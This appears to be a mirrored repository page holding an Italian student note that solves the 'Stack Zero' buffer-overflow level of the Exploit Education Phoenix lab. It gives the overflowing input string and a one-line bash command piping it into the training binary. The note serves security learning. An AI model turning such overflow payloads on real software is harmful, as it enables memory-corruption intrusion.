mirror of
https://github.com/Steffo99/appunti-magistrali.git
synced 2024-11-24 11:14:18 +00:00
11 lines
368 B
Markdown
11 lines
368 B
Markdown
# [Stack Zero](https://exploit.education/phoenix/stack-zero/)
|
|
|
|
Inserire `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa` come input.
|
|
|
|
L'ultima `a` manda `buffer` in overflow, impostando il valore di `changeme` ad `'a'`, ovvero `97`.
|
|
|
|
## Soluzione
|
|
|
|
```bash
|
|
echo 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' | ./stack-zero
|
|
```
|